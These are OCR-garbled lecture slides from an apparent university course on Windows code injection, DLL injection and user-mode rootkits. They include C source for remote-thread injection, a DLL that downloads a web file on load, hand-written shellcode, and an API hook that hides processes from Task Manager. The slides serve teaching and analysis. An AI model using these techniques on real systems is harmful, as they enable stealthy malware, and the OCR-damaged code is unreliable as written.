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Code injection is the term used to describe attacks that
inject code into an application. That injected code is then
interpreted by the application.
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Code Injection (thread injection)

target.exe
Process

Codelnjection.exe

Process r
: ThreadParam
(1) Inject data & code L

(2) Execute

code - injected by ThreadProc()
data - injected as ThreadParam
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Why Code Injection

» 1. Use less memory - you don’t need to compile it as DLL

» 2. Hard to detect = DLL injection can easily be spotted, code injection is
very sneaky.

" [n short:
— DLL injection is for huge code base and complex logic.

— Code injection is for small code base with simple logic. /
CODE

k=

INJECTION
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DLL Injection V.S. Code Injection

- DWORD WINAPI ThreadProc(LPVOID 1Param)

{
MessageBoxA(NULL, "cs.wcupa.edu", "Dr. Chen", MB_OK);

return 0;

Pop up a Windows message box

How to use DLL Injection to injection the code?
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. myhack.cpp > No Selection

#include "windows.h"
#include "tchar.h"

#pragma comment(lib, "urlmon.lib")

#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")

HMODULE g_hMod = NULL;

DWORD WINAPI ThreadProc(LPVOID 1Param)

{
TCHAR szPath[_MAX_PATH] = {0,};
if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
return FALSE;
TCHAR *p = _tcsrchr( szPath, '\\' );
if( 'p )
return FALSE;
_tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);
URLDownloadToFile(NULL, DEF_URL, szPath, @, NULL);
return 9;
}

BOOL WINAPI D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

HANDLE hThread = NULL;

g_hMod = (HMODULE)hinstDLL;

switch( fdwReason )

{

case DLL_PROCESS_ATTACH :
OutputDebugString(L"<myhack.d11> Injection!!! —— CSC 497/583 —— Dr. Chen");
hThread = CreateThread(NULL, @, ThreadProc, NULL, @, NULL);
CloseHandle(hThread);
break;

}

Page = 6
return TRUE;




https://learn.microsoft.com/en-
us/windows/win32/api/winuser/
nf-winuser-messagebox

DLL Injection V.S. Code Injection

How to use DLL Injection to injection the code?

+ DWORD WINAPI ThreadProc(LPVOID 1Param)

{
MessageBoxA(NULL, "cs.wcupa.edu", "Dr. Chen", MB_OK);
return 0;
}
v BOOL WINAPI D1WMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
v switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
CreateThread(NULL, @, ThreadProc, NULL, @, NULL);
break;
¥
return TRUE;
h

Compile it as MsgBox.dll and inject it to the target process
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same as DLL injection lab!




DLL Injection (MsgBox.dll)

$ 6A 00 PUSH © MB_OK |MB_DEFBUTTON1 | MB_APPLMODAL

K - 68 DO1CO110 PUSH OFFSET 16011CDO "Dr. Chen"

68 DC1CO110 PUSH OFFSET 10611CDC “cs.wcupa.edu”

6A 00 PUSH © NULL

FF15 9CD1001(CALL DWORD PTR DS:[<&USER32.MessageBoxA:LUSER32. MessageBoxA

33C0 XOR EAX,EAX

C2 0400 RETN 4
Address |Hex dump ASCII
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44 72 2E 20 43 68 65 6E 00 00 00 00 63 73 2E 77|Dr. Chenllllcs.w
63 75 70 61 2E 65 64 75 00 00 00 00 0O 00 00 00| cupa.edull00000D
CO OO OO 0O OO 0O OO 0O OO OO OO OO OO 0O OO eO|AOODODODODODODOD




DLL Injection (MsgBox.dll)

1000100E FF15 0CD1001(CALL DWORD PTR DS:[<&USER32.MessageBoxA!-USER32.MessageBoxA

%k

[1000D10C]=TE4SOTEA (USER32.MessageBoxA)

LG JULETL | . LEXL LAXPUI L SIHURIS LAl LULdSS

TEASB23C | _text Export |OemKeyScan

TEADO29E | . text Export i(MapVirtualKeyH

TELDO2BB | . text Export |0OemlToCharBuffH

TEADO2F9 | . text Export 1|GetHenuCheckMarkDimensions
JEADOTER | . text Export i|HessageBoxA

JEAOB838 | . text Export |MHessageBoxExH

JE&OB8OC | . text Export |MHessageBoxExA

TE&D349] | _text Export |(Createflcceleratorlablef
JE4D3631 | _text Export |(GetKeyboardlLayvoutNameR
TE&D310D | _text Export GetTaskmanHindow

Notepad.exe Process

text

.data

.rsrc execute DlIMain()

in myhack.dll

DLL Injection

m yh ack.dll o m yh ack.dll

kernel32.dll
user32.dll
gdi32.dll
shell32.dll
advapi32.dll
Page* 9 ntdlI32.dll
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Code Injection

You need to inject the code

$ 6A 00 PUSH 0O MB_OK IMB_DEFBUTTON1 |MB_APPLMODAL
Rﬁé - 68 DO1CO110 |PUSH OFFSET 10011CDO "Dr. Chen”
68 DC1CO110 |PUSH OFFSET 10011CDC "cs.uWcupa.edu”
6A 00 PUSH 0 NULL
FF15 0CD1001(CALL DWORD PTR DS:[<&USER32.MessageBoxA]L-USER32.MessageBoxA
33C0 XOR EAX,ERX
C2 0400 RETN 4

And the data:

Address |Hex dump ASCII
hi 44 72 2E 20 43 68 65 6E 00 00 00 00 63 73 2E 77 Dr. Chenllllcs.w
63 7S 70 61 2E 65 64 75 00 00 00 OO OO0 OO OO0 OO cupa.edull000000
CO 00 00 00 0O 60 0O 00 GO 0O 00 OO0 60 60 06 00 ANNI000ND000DOO0OD

TLGJULlEUl | . LEXL LAPUI L SHURD LI LULAdSS

TELDB23C | . text Export |0OemKeyScan
TEADO29E | . text Export (MapVirtualKeyH
TELASO2BB | . text Export {(OemToCharBuffH
TEASA2F9 | _text Export i(GetMenuCheckMarkDimensions
JELSOTEA | . text Export (MessageBoxA
JELDB838 | . text Export (MessageBoxExH
TELSB8SC | . text Export |(MessageBoxExA

Page = 10 TEL53497 | . text Export |(CreatefllcceleratorTablef
TEA53631 | _text Export i(GetKevboardlayoutNamefl
TELS5378D | _text Export GetTaskmanHindow



Code Injection Example (Codelnjection.exe)

! 1S not recognized as an i1nternal or extern

operable program or batch file. I untitled - Notepad

File Edit Format View Help

i \work>dir X
volume in drive € has no label.
volume Serial Number is BOB1-DCD8

Directory of C:\work

02/29/2024 07:48 AM
02/29/2024 07:48 AM
02/29/2024 07:38 AM
02/27/2024 06:48 AM
l 07:51 AM
10:51 AM
06:19 AM 81,408 MS
10:51 AM 75,264 m
6 File(s) 582,777 gytes
2 Dir(s) 5,433,696,256 bytes f

C:\Work>InjectD11.exe 848 C:\work\MsgBox.d1]
InjectDl1( 'C:\work\MsgBox.d11") success!!!

C:\work>
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Codelnjection.cpp — main()

int main(int argc, char *argv[])
{
DWORD dwPID

if( arge != 2 )

{
printf("\n USAGE : %s <pid>\n", argv[e]);
return 1;

// change privilege
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
return 1;

// code injection
dwPID = (DWORD)atol(argv[1]);
InjectCode(dwPID);

return 0;
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Codelnjection.cpp — ThreadProc()

v // Define a structure to hold function pointers and strings for dynamic loading and execution.
// The structure is used to pass the function pointers and strings to the remote process.
v typedef struct _THREAD_PARAM
{
FARPROC pFunc([2]; // LoadLibraryA(), GetProcAddress()

char szBuf[4] [128]; // "user32.dl1", "MessageBoxA", "cs.wcupa.edu", "Dr. Chen"
} THREAD_PARAM, *PTHREAD_PARAM;

v // Function pointer type definitions for dynamic loading.
// The function pointers are used to call the LoadLibraryA(), GetProcAddress(), and MessageBoxA() functions.
typedef HMODULE (WINAPI xPFLOADLIBRARYA)
(
LPCSTR 1pLibFileName
)i

typedef FARPROC (WINAPI *xPFGETPROCADDRESS)
(

HMODULE hModule,

LPCSTR 1pProcName
);
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Codelnjection.cpp — ThreadProc()

DWORD WINAPI ThreadProc(LPVOID 1lParam)

{
PTHREAD_PARAM  pParam = (PTHREAD_PARAM)1Param;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
// LoadLibrary()
hMod = ((PFLOADLIBRARYA)pParam->pFunc[@]) (pParam->szBuf[@]); // "user32.dll"
if( !hMod )
return 1;
// GetProcAddress()
pFunc = (FARPROC) ((PFGETPROCADDRESS)pParam—>pFunc[1]) (hMod, pParam->szBuf[1]); // "MessageBoxA"
if( !pFunc )
return 1;
// MessageBoxA()
( (PFMESSAGEBOXA)pFunc) (NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);
return 9;
}
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http://www.reversecore.com/

Cannot use the following address for Code Injection

10001000 . 60 @0 [PUSH 8 , HMB_OK | HB_APPLHMODAL
. 68 1C780610 PUSH HsgBox.1888781C “"Reverselore”™
. 68 287880109 PUSH HsgBox.10887828 “www_reversecore.com
. 6A B0 PUSH @ NULL
. FF15 E4600018 Q@LL_I_]HUEI_]__PTV‘?[(&USERE]Z.HessageBoxH) MessageBoxA
target.exe
Process

Codelnjection.exe

Process 3
: ThreadParam
(1) Inject data & code B

(2) Execute
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You cannot use the address provided for code injection.

55 PUSH EBP
00401001 8BEC MOV EBP,ESP
00401003 56 PUSH ESI
Because 00401004 8B75 08 MOV ESI,DHORD PTR SS:[EBP+81
00401007 8BOE MOV ECX,DHORD PTR DS:[ESI]
MessageBoxA 00401009 || . 8D46 08 LEA EAX.DWORD PTR DS:[ESI+81
) 0040100C 50 PUSH EAX
and Caption and 00401000 || . FFD1 CALL ECK
" ) 0040100F 85C0 TEST EAX,EAX
Text” are not 90401011 .. 75 OA JNZ SHORT CodeInje.00840101D
AP401613 || > B8 01000080 MOV EAX, 1
loaded, these 00401018|| . SE ks |POP ESI
00401019|| . 5D POP EBP
addresses cannot Ae4A101N|| . C2 0400 RETH &
Ae4e1010 || > 8D96 88000806 LEA EDX,DWORD PTR DS:[ESI+881
be used for code 00401023 || . 52 PUSH EDX
T 00401024 50 PUSH EAX
injection. 004010825 8B46 B4 MOV EAX,DHORD PTR DS:[ESTI+41
00401028 FFD@ CALL EAX
00401020 85C0 TEST EAX,EAX
0040102C|| . 74 F5 JE SHORT CodelInje.00401013
PR4LO102E|| . 6N 0O PUSH B
AR4N1030|| . 8DSE 88810000 LEA ECX,DHORD PTR DS:[ESI+188]
00401036|| . 51 PUSH ECX
Ae4n1037|| . 81C6 88810000 ADD FSI, 108
#040103D|| . 56 PUSH ESI
004LO103E|| . 6A 00 PUSH @
00401040|| . FFDO CALL EAX
PR4LO1042|| . 33CO XOR ENX,ENX
Heeeieesl - co oo PUSH © Type = MB_OK|MB_DEFBUTTON1 |MB_APPLMODAL
10001002 ] - 68 DO1CO110 |PUSH OFFSET 10011CDO Caption = "Dr. Chen”
10001007 || - 68 DC1CO110 |[PUSH OFFSET 10011CDC Text = "cs.uwcupa.edu”
1000100C || - 6A 00 PUSH @ hOwner = NULL
1000100E | - FF15 0CD1001( CALL DWORD PTR DS:[<&USER32.MessageBoxA!-USER32.MessageBoxA
10001014 - 33C0 X0R EAX,EAX
10001016 |- C2 0400 RETHQﬁ
10001019 cC INT3
PagE1GGG1O1H cC INT3
10001018 CC INT3

[1066D10C]=TE4SOTEAR (USER32.MessageBoxRA)




Codelnjection.cpp — InjectCode()

// Main injection function: performs process and thread injection into a target process.
~ BOOL InjectCode(DWORD dwPID)

{
s // Prepare the THREAD_PARAM structure with necessary function pointers and strings.
// Open the target process with necessary privileges.
// Allocate memory in the target process for THREAD_PARAM.
// Write THREAD_PARAM to the allocated memory in the target process.
// Allocate memory for the ThreadProc function in the target process and set it to executable.
// Write the ThreadProc function to the allocated memory in the target process.
// Create a remote thread in the target process that starts at the ThreadProc function.
// Wait for the thread to complete execution.
// Close handles and return TRUE on successful injection.
HMODULE hMod = NULL;
THREAD_PARAM param = {0,};
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID pRemoteBuf[2] = {0,};
DWORD dwSize = 0;
hMod = GetModuleHandleA("kernel32.d11")
// set THREAD_PARAM
param.pFunc[0@] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.d11");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "cs.wcupa.edu");
strcpy_s(param.szBuf[3], "Dr. Chen");
// Open Process
if ( !'(hProcess = OpenProcess(PROCESS_ALL_ACCESS, // dwDesiredAccess
FALSE, // bInheritHandle
v dwPID)) ) // dwProcessId
{
printf("OpenProcess() fail : err_code = %d\n", GetLastError());
return FALSE;
}
// Allocation for THREAD_PARAM
dwSize = sizeof(THREAD_PARAM);
if( !(pRemoteBuf[@] = VirtualAllocEx(hProcess, // hProcess
NULL, // 1pAddress
dwSize, // dwSize
MEM_COMMIT, // flAllocationType
v PAGE_READWRITE)) ) // flProtect
Page = 17 {

printf("VirtualAllocEx() fail : err_code = %d\n", GetlLastError()); -
return FALSE: cK




Codelnjection.cpp — InjectCode()

// Allocation for THREAD_PARAM
dwSize = sizeof(THREAD_PARAM);

if( !(pRemoteBuf[@] = VirtualAllocEx(hProcess, // hProcess
NULL, // \pAddress
dwSize, // dwSize
MEM_COMMIT, // flAllocationType
PAGE_READWRITE)) ) // flProtect
{
printf("VirtualAllocEx() fail : err_code = %d\n", GetLastError());
return FALSE;
}
if( !'WriteProcessMemory(hProcess, // hProcess
pRemoteBuf [0], // \pBaseAddress
(LPVOID)&param, // \pBuffer
dwSize, // nSize
NULL) ) // lout]l 1pNumberOfBytesWritten
{
printf("WriteProcessMemory() fail : err_code = %d\n", GetLastError());
return FALSE;
}

// Allocation for ThreadProc()
dwSize = (DWORD)InjectCode — (DWORD)ThreadProc;

if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess, // hProcess
NULL, // lpAddress
dwSize, // dwSize
MEM_COMMIT, // flAllocationType
PAGE_EXECUTE_READWRITE)) ) // flProtect
{
printf("VirtualAllocEx() fail : err_code = %d\n", GetLastError());
return FALSE;
}
if( !'WriteProcessMemory(hProcess, // hProcess
pRemoteBuf [1], // \pBaseAddress
(LPVOID)ThreadProc, // lpBuffer
dwSize, // nSize
NULL) ) // lout] 1pNumberOfBytesWritten
{
printf("WriteProcessMemory() fail : err_code = %d\n", GetLastError());
return FALSE;
}
if( !(hThread = CreateRemoteThread(hProcess, // hProcess
NULL, // \pThreadAttributes
Page = 18 e, // dwStackSize
(LPTHREAD_START_ROUTINE)pRemoteBuf[1], // dwStackSize

pRemoteBuf[a], // lpParameter



Codelnjection.cpp — InjectCode()

// Prepare the THREAD_PARAM structure with necessary function pointers and strings.

// Open the target process with necessary privileges.

// Allocate memory in the target process for THREAD_PARAM.

// Write THREAD_PARAM to the allocated memory in the target process.

// Allocate memory for the ThreadProc function in the target process and set it to executable.
// Write the ThreadProc function to the allocated memory in the target process.

// Create a remote thread in the target process that starts at the ThreadProc function.

// Wait for the thread to complete execution.

// Close handles and return TRUE on successful injection.

» OpenProcess()

» //data: THREAD PARAM
» VirtualAllocEx()
» WriteProcessMemory()

» //[Code: ThreadProc()
= VirtualAllocEx()
» WriteProcessMemory()

Page = 19 » CreateRemoteThread()




How to Debug Code Injection (OllyDBG)

Page = 20

File “iew Debug Flugine Options Window  Help

OllyDbg - NOTEPAD. EXE - [CPU - thread 0D00D808]

Sl x| wn] wilv ¥ A 4 L[EMT|wWH|c|/[K|B|R[..|5] iE[H?

[60980008 55 PUSH EBP

00980001 | SBEC MOV EBP,ESP

00980003 | 56 PUSH ESI

00980004 | 8B7> 08 HOY ESI,DHORD PIR S$S:IEBP-8]
0098000/ 8BOE HOV ECKX,DHORD PTR DS:IESI]
00960009 | 8D46 08 LEA EAX,DHORD PTR DS:I[ESI-8]
aaosaeac| 50 PUSH EAX

aa9genad | FFD1 CALL ECX

0098000F | 8oC0 TEST EAX,EAX

00980011 .. 75> 0A JNZ SHORT 060698001D

00960013 | B8 01000000 MOV ERAX.1

00980018 | SE POP ESI

00980019 | oD POP EBP

0e98001A| C2 0400 RETN &

00960010 | 8D96 88000000 |LEA EDX,DWORD PTR DS:[ESI-881
00980023 | 52 PUSH EDX

00980024 | 50 PUSH EAX

00960025 | B8B4G 04 HOY EAX,DHORD PTR DS:IESI+4]
00980028 | FFDO CALL EAX

aa98a02n| 85CO TEST ERAX.EAX

0098002C | " 14 ES JE SHORT 06980013

0098002E| 6Q 00 PUSH @

009600360 | 8DSE 88010000 |LEA ECX,DWORD PTR DS:[ESI+-1881
00980036 | 51 PUSH ECX

a09260037/| 81C6 08010008 |ADD ESI,188

0098003D | o6 PUSH ESI

0098003E| 6A 00 PUSH 6

00980040 | FFDO CALL EAX

00980042 | 33C0 KOR EAX,EAX

00980044 | SE POP ESI

00980045 | oD POP EBP

| AA9sAnAcie | 9 ALAA RETN &




Ancient forbidden technigue: manual code injection.

U
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] ] — c— c— — c— — —— —  c— a—

] c— — — — — — — — — — — —

r$ 55

8BEC

8BYS @88

E64 | PUSH 64

PUSH EEP
MOU EBP,ESP

MOU ESI,DWORD PTR SS:[EBP+81]

PUSH &C

S: [ESI]

CALL DWORD PTR DS:[ESI+4]
PUSH B8
CALL ©846163B

INC ESP

JB SHORT 884810864
INC EBX

PUSH ESBB6EES

SBE DWORD PTR DS:[ERAX1,EAX

ADD BYTE PTR DS:[ERX],AL

ARPL WORD PTR DS:[EBX+2E],S

JA SHORT ©84810A%S
JME SHORT B884818B7
POPAD

CS:

(E=H

JNE SHORT 88481087C

INS DWORD PTR ES:[EDI1,DX
POPRD

INS BYTE PTR ES:[EDI]1,DX

JA SHORT 6884681883

JB SHORT 884818B9

#0R DH,BYTE PTR DS:[EAX]

#OR DH,BYTE PTR DS:[ERX+ERAX]

asmtest,BB8401029(guessed Argl)

Two prefides from the same group
Two prefides from the same group
Superf luous segment override prefix
10 command

10 command

| BB4816859 PUSH B8

CALL ERX

MOV ESP,EEBP

POP EBP
nnnnnnn — R
Nl =00 { o icweon + wonsobowea)
Address |Hex dump ASCII
00401000|55 8B EC 8B 75 08 68 6C 6C 00 00 68 33 32 2E 64| UNilulhlll0lh32.d
0040101068 7S5 73 65 72 54 FF 16 68 6F 78 41 00 68 61 67 huserTylhoxAlhag
0040102065 42 68 4D 65 73 73 54 SO0 FF 56 04 6A 00 E8 08| eBhMessTP{ul jlel
0040103000 OO OO 44 72 2E 43 68 65 6E 00 E8 19 00 00 00|000Dr.Chenlell0D
00401040 63 73 2E 77 63 7S 70 61 2E 65 64 75 2F 6D 61 6C|cs.wcupa.edu/mal
00401050 | 77 61 72 65 32 30 32 34 00 6A 00 FF DO 89 EC SD|ware2024( j0ybNi]

Page=22 OO401060 [C3 BB 00 66 39 05 00 00|40 00 7S 38 A1 3C 00 4O|AUDFS @lu8;<l@




Stealth process
(User-mode rootkits)

AR

ROOTKIT




Processes in Windows

P | N
"% Windows Task Manager l = | 5] li@-J
File Options View Help
Applications | Processes .Services | Performance irNetworldng Users

Image Name User Name CPU Memory (Priv... Description 4
avgnt.exe *32  Lincoln 00 2,108 K Avira system tre g
chrome.exe *32 Lincoln 00 51,504K Google Chrome |~
chrome.exe *32 Lincoln 00 66,136 K Google Chrome
chrome.exe *32 Lincoln 00 11,192K Google Chrome
chrome.exe *32 Lincoln 00 129,420 K  Google Chrome
chrome.exe *32 Lincoln 00 90,780 K Google Chrome
chrome.exe *32 Lincoln 00 5,860 K Google Chrome
chrome.exe *32 Lincoln 00 90,708 K Google Chrome
chrome.exe *32 Lincoln 00 31,696 K Google Chrome
chrome.exe *32 Lincoln 00 68,612K Google Chrome
chrome.exe *32 Lincoln 00 129,768 K Google Chrome
chrome.exe *32 Lincoln 00 9,100K Google Chrome
chrome.exe *32 Lincoln 00 27,316 K Google Chrome
chrome.exe *32 Lincoln 00 10,160 K Google Chrome «
£ m »

45 Show processes from all users ] End Process

Processes: 135 CPU Usage: 0% Physical Memory: 71%
p 7
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Stealth Process

Northrop Grumman B-2 Spirit




Stealth Process

Stealth Process

gut
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APl Hook Tech Map

Process/Memory 1) IAT
Dynamic 00000000 232) ot
- TFFFFFFF
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DebugActiveProcess
Interactive Debug GetThreadContext
SetThreadContext

'“degfg‘;’e”t CreateRemoteThread

Standalone Resistry (Applnit_DLLS)
|njecti0n ol File BHO (|E Only)
SetWindowsHoO0OKEXx
CreateRemoteThread




Processes in Windows

('l indows Task Manager [ﬂ‘_—&-_r . -
o = Detect Processes in User Mode (WinAPI):

ications | Processes v ervices | Performance | Networkin sers
= S — CreateToolhelp32Snapshot()

Image Name User Name CPU Memory (Priv... Description

avgnt.exe *32  Lincoln 00 2,108K Avira system trz i —_— E n u m P rocess ()

chrome.exe *32 Lincoln 00 51,504K Google Chrome |~

chrome.exe *32 Lincoln 00 66,136 K Google Chrome

chrome.exe *32 Lincoln 00 11,192K Google Chrome

chrome.exe *32 Lincoln 00 129,420 K Google Chrome

chrome.exe *32 Lincoln 00 90,780K Google Chrome HAN D L E C T | h | 3 2 S h (
chrome.exe *32 Lincoln 00 5,860 K  Google Chrome reate OO e p n apS Ot

chrome.exe *32 Lincoln 00 90,708 K Google Chrome

chrome.exe *32 Lincoln 00 31,696 K Google Chrome DWO R D dWF | ag S y

chrome.exe *32 Lincoln 00 68,612K Google Chrome

chrome.exe *32 Lincoln 00 129,768 K Google Chrome DWO R D th3 2 P ro Ce SSI D

chrome.exe *32 Lincoln 00 9,100K Google Chrome

chrome.exe *32 Lincoln 00 27,316 K Google Chrome ) y

chrome.exe *32 Lincoln 00 10,160K Google Chrome «

P oo
- ; — Takes a snapshot of the specified
| ®'Show processes from all users \ \ End Process |
processes, as well as the heaps,
Processes: 135 CPU Usage: 0% Physical Memory: 71%

\ ) modules, and threads used by these
processes.

BOOL EnumProcesses(
DWORD *IpidProcess,
DWORD cb,

LPDWORD IpcbNeeded

);

Page = 28

Retrieves the process identifier for
each process object in the system.




Processes API

CreateToolhelp32Snapshot()
EnumProcess()

ntdll.ZwQuerySysteminformation() I

=

g | t
% Windows Task Manager tﬂ]ﬁ

File Options View Help

ntdll.ZwQuerySystemInformation()

Applications | Processes | Services | Performance Networking | Users

Image r\iame User Name CPU Memory (Priv... Description &

avgnt.exe *32 Lincoln 00 2,108 K Avira system trz A .
chrome.exe *32 Lincoln 00 51,504K Google Chrome |~ NTSTAT US WI NAPI ZWQU erySYStem I nfo rmatlon(
chrome.exe *32 Lincoln 00 66,136 K Google Chrome I n SYSTE M I N FO RMATIO N CLASS
chrome.exe *32 Lincoln 00 11,192K Google Chrome - j - -

chrome.exe *32 Lincoln 00 129,420K Google Chrome SySte ml nform atl OnCIaSS,

chrome.exe *32 Lincoln 00 90,780K  Google Chrome Inout PVOI D SySte ml nform atl On,
chrome.exe *32 Lincoln 00 5,860 K  Google Chrome - - .
chrome.exe *32 Lincoln 00 90,708 K Google Chrome _| n_ U LO NG SySte ml nfOI’m at| Onl_eng th y
chrome.exe *32 Lincoln 00 31,696 K Google Chrome

chrome.exe *32 Lincoln 00 68,612K Google Chrome —O Ut—o pt— PU LON G Return Le ngth
chrome.exe *32 Lincoln 00 129,768 K Google Chrome ),

chrome.exe *32 Lincoln 00 9,100K Google Chrome

chrome.exe *32 Lincoln 00 27,316 K Google Chrome = h ° f' d

chrome.exe *32 Lincoln 00 10,160K Google Chrome « Ret r I eve S t e S p eCI I e SySte m

£

m

[ e |
| ®g)Show processes from all users |

Processes: 135

CPU Usage: 0%

»

End Process

Physical Memory: 71%

Page = 29
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“procexp.exe”

Code section for procexp.exe

00422CF7 CALL DWORD PTR DS:[48C69C]

IAT section for procexp.exe

0048C69C 2ED9937C

“ntdil.dll”

;ntdll.ZwQuerySysteminformation()

7C93D92E MOV EAX, OAD

7C93D93A RETN 10




“procexp.exe”

Code section for procexp.exe

IAT section for procexp.exe

0048C69C 2ED9937C

00422CF7 CALL DWORD PTR DS:[48C69C]

“stealth.dll”

10001120. SUB ESP, 10C
100116A Call unhook()
1001198. CALL EAX: EAX = 7C93D92E

CALL Hook()
RETN 10

“ntdll.dll”

;ntdll.ZwQuerySysteminformation()
7C93D92E JMP 10001120

7C93D93A RETN 10




Create Stealth Process

CreateToolhelp32Snapshot() =
EnumProcess()

ntdll.ZwQuerySysteminformation() I

ntdll.ZwQuerySystemInformation()

Process4

\ 4

\ 4

\ 4

Process3

Processl Process?2

Processl ——| Process3 Process4

\ 4
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Processes in Windows

e T ™
1% Windows Task Manager 0 e S
File Options View Help
5 1 | i £ T ¥ ' I
Applications | Processes | Services | Performance | Networking | Users
] ] ) ) ) : =10l ]
= 2 = = = T ] File Options View Process Find Handle Users Help
Image Name User Name CPU Memory {(Priv... Description - e 3 = | (T T 1117 T 11T = AT 11
: 2L : IETEIE EE YN I [ el ]
avgnt.exe *32  Lincoln 00 2,108K  Avira system tre| - Process CPU[_Private Bytes [\ Working Set]__PID | Description [ Company Name ‘-
chrome.exe *32 Lincoln 00 51,504K Google Chrome = 1) RAVBg64 exe 15,704 K 4728 K 4572 HD Audio Background Process Realtek Semiconductor
ch *32  Lincol 00 66.136K G le Ch NvBackend.exe <0.01 18,848 K 21,592K 4776 NVIDIA Backend NVIDIA Corporation
rome.exe incoin 0y L0 oogie Lhrome ® |msseces.exe 5972 K 6.752K 4916 Microsoft Security Client User Interface Microsoft Corporation
chrome.exe *32 Lincoln 00 11,192K  Google Chrome B & googledrivesync.exe 1,820 K 1,256 K 4988 Google Drive Google
chrome.exe *32  Lincoln 00 129,420K Google Chrome &, googledrivesync exe 0.35 86316 K 72,864 K 3268 Google Drive Google
= 1 B @ chrome exe 025 609,944 K 612968 K 4596 Google Chrome Google Inc. F
chrome.exe *32 Lincoln 00 90,780 K Google Chrome G chrome.exe 2352K 2932K 5072 Google Chrome Goodde k. i
chrome.exe *32 Lincoln 00 5860K Google Chrome € chrome.exe 2188 K 2020K 4256 Google Chrome Google Inc.
= : @ chrome.exe 173.040K 150,632K 404 Google Chrome Google Inc.
Guome Fie "2 | Hocan o 2Bk | Sooge Haene G chome.exe 52044K  35816K 5312 Google Chrome Google Inc.
chrome.exe *32 Lincoln 00 31,686 K Google Chrome € chrome exe 008 249 7NR K 247112K 5324 Gonale Chrome Gonale Inc i
5 = 4 »
chrome.exe *32 Lincoln 00 68,612K Google Chrome £ chmme exe |
chrome.exe *32 Lincoln 00 129,768 K  Google Chrome Type = [ Neme : : : : : : : : [ -
i ;. File C:\Users\mvanhelder\App Data‘\Local\Google \Chrome\User Data'\Default\Extension State...
chrome.exe *32 Lincoln 00 9,100K Google Chrome File C:\Users\mvanhelder\AppData\Local\Google\Chrome\User Data\Default\GPUCache\index =)
chrome.exe *32 Lincoln 00 27,316 K Google Chrome File Windows \Fonts'tahoma if
5 X i File C:\Users\mvanhelder\AppData‘\Local\Google \Chrome\User Data\Default\Network Action ...
chrome.exe *32 Lincoln 00 10,160K Google Chrome «~ File C:\Windows\Fonts\StaticCache dat
< n » File C:\Windows\System32\en-US\user32 dll. mui
File \Device\QWAVEdrv
- —————— File \Device\Afd
'»' Show processes from all users ‘ End Process File C:\Users\mvanhelder\AppData\Local\Google \Chrome\User Data\Default\Session Storage...
File C:\Users\mvanhelder\AppData'\Local\Google\Chrome\User Data\Default\Session Storage... =
- = §CPU Usage: 13.74% |Commit Charge: 45.84% [Processes: 132 \[Eﬁ;/sical Usage: 76.09% | 4
Processes: 135 CPU Usage: 0% Physical Memory: 71%

k taskmgr.exe : ProcExp.exe
ntdll.ZwQuerySystemInformation() ntdil. ZwQuerySysteminformation()
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Example 1: Stealth Process

* Download and try StealthProcessl.zip

X
(P sack -

.ir-

) search
/ 2arC]

fddress ([ Crivwork

File and Folder Tasks

3 Make a nesw Folder
@ Publish this Folder to the

'eh

ted Share this Folder

| Other Places

age Local Disk {C:)
5 My Dacuments

E3 ﬁ InjectDl

Folders El -

index
Zhrome HTML Document
169 KB

skrings
= Search For AMSI and Unicode ...
o Sysinkternals - wea, sysinterna.

[5) Shared Docun

'J Iy Computer
S 1y Metwork P

Details

e+ Command Prompt

H4.-82 2817
A3.-85-281%
B1.-23 2817

?

2
C:Work>*HideProc.
C:Work>*HideProc.
C:~Work>*HideProc.

1
"'h.] stealth.dll
|

51.2008
172,964
45.856
?5.264
75,264
41.520
149,152

mehack, dll

¢

@ HideProc

mehack_hacked. dll

{

HideProc.exe
index.html
InjectDll.exe
myhack.dl11
myhack_hacked.d11
stealth.dll
strings .exe

612,428 hytes
8,011 ,.280_384 bhytes free

Dircsd
exe —hide notepad.exe GC:Workwzstealth.dll
exe —hide notepad.exe CG:xWorkwzstealth.dll

exe —hide notepad.exe GC:xWorkwstealth.dll

C=sWork>_

y [fmawi. - g40dn..,

+g Start

e O, rE Wind. .. ri,' Proce. ..

pan. -

Annlicatinne | Processes
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stealth.cpp = DlIMain()

BOOL WINAPI D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

char szCurProc[MAX_PATH] = {90,};

char *p = NULL;

// #1. Handle Exception
// 1f the current process is HideProc.exe then stop, DO not Hook itself
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
return TRUE;

switch( fdwReason )

{
// #2. API Hooking
case DLL_PROCESS_ATTACH :
hook_by_code (DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
break;
// #3. API Unhooking
case DLL_PROCESS_DETACH :
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
g_pOrgBytes);
break;
}

return TRUE;
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vy __INITULRTO T LIFLIND VIS T LN LINLY

// 0Only focus on SystemProcessInformation
if( SystemInformationClass == SystemProcessInformation )

{

// SYSTEM_PROCESS_INFORMATION convertation
// pCur is the head of the single linked list
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

while(TRUE)
{
// compare process name in the node
// g_szProcName —-> the one that you want to hide (e.g. notepad.exe)
// defined in => SetProcName()
if(pCur->Reserved2[1] != NULL)

{
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
{
// del the the process node
if(pCur—->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
¥
else
pPrev = pCur;
}

if(pCur->NextEntry0ffset == Q)
